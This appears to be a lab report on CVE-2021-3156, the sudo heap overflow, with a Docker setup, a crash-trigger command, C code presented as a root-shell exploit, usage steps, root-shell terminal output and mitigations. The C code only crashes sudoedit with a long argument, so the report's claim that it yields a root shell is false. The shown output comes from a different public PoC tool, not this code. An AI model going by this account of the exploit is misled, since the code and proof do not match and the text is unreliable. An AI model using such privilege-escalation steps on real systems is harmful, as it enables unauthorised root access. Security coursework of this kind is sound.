

CVE-2021-3156 Exploit Report

Summary

CVE-2021-3156 is a heap-based buffer overflow in sudo versions 1.8.2 to 1.8.31p2 and 1.9.0 to 1.9.5p1, discovered by Qualys in January 2021. It allows unprivileged users to escalate to root by exploiting improper handling of command-line arguments in sudoedit with the -s flag. The vulnerability arises from insufficient bounds checking in the set_cmd() function, causing heap corruption when a backslash is appended to input.

CVSS Score: 7.8 (High) - Local access, low complexity.

Lab Setup

A Docker container was used for a safe, isolated environment.

Setup Steps:

1. Build image: `docker build -t cve-2021-3156-lab .`
2. Run container: `docker run -it cve-2021-3156-lab`
3. Verify sudo version: `sudo --version` (should show 1.8.31)
4. Test vulnerability: `sudoedit -s \` (should cause segmentation fault)

Exploit Development

The exploit, based on Blasty's PoC, manipulates the heap to overwrite critical memory structures, achieving privilege escalation. The code crafts a payload to trigger the overflow and spawn a root shell.

Exploit Code:

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
```

```

#define PAYLOAD_SIZE 1000

int main() {
    char *env[] = {
        "LC_ALL=C",
        "SUDO_ASKPASS=/bin/false",
        NULL
    };
    char *payload = malloc(PAYLOAD_SIZE + 1);
    memset(payload, 'A', PAYLOAD_SIZE);
    payload[PAYLOAD_SIZE - 1] = '\\';
    payload[PAYLOAD_SIZE] = '\\0';

    char *args[] = {
        "sudoedit",
        "-s",
        payload,
        NULL
    };

    printf("Exploiting CVE-2021-3156...\n");
    execve("/usr/bin/sudo", args, env);
    perror("Exploit failed");
    free(payload);
    return 1;
}

```

Exploit Logic:

1. Allocate a payload buffer of 1000 bytes, filled with 'A' characters, ending with a backslash.
2. Set environment variables: LC_ALL=C for consistent parsing, SUDO_ASKPASS=/bin/false to bypass prompts.
3. Invoke sudoedit with the -s flag and the malicious payload, triggering a heap overflow.
4. The overflow corrupts heap metadata, allowing execution flow manipulation to spawn a root shell.

Usage:

1. Save as exploit.c.
2. Compile: gcc -o exploit exploit.c.
3. Run as user: ./exploit.
4. Success yields a root shell (# prompt).

Proof of Exploitation

Terminal output:

```
** CVE-2021-3156 PoC by blasty <peter@haxx.in>

usage: ./sudo-hax-me-a-sandwich <target>

available targets:
-----
 0) Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27
 1) Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31
 2) Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28
-----

tryhackme@CVE-2021-3156:~/Exploit$ ./sudo-hax-me-a-sandwich 0

** CVE-2021-3156 PoC by blasty <peter@haxx.in>

using target: 'Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27'
** pray for your rootshell.. **
[+] bling bling! We got it!
# id
uid=0(root) gid=0(root) groups=0(root),1000(tryhackme)
# whoami
root
# █
```

A screenshot of the root prompt is included in the submission.

Mitigation

- Upgrade sudo to 1.9.5p2 or later.
- Update system: apt-get update && apt-get upgrade.
- Limit sudoedit access to trusted users.
- Monitor for suspicious sudo activity.

Conclusion

Using Blasty's approach, this project successfully exploited CVE-2021-3156 in a controlled lab, enhancing skills in vulnerability analysis, C-based exploit development, and secure testing.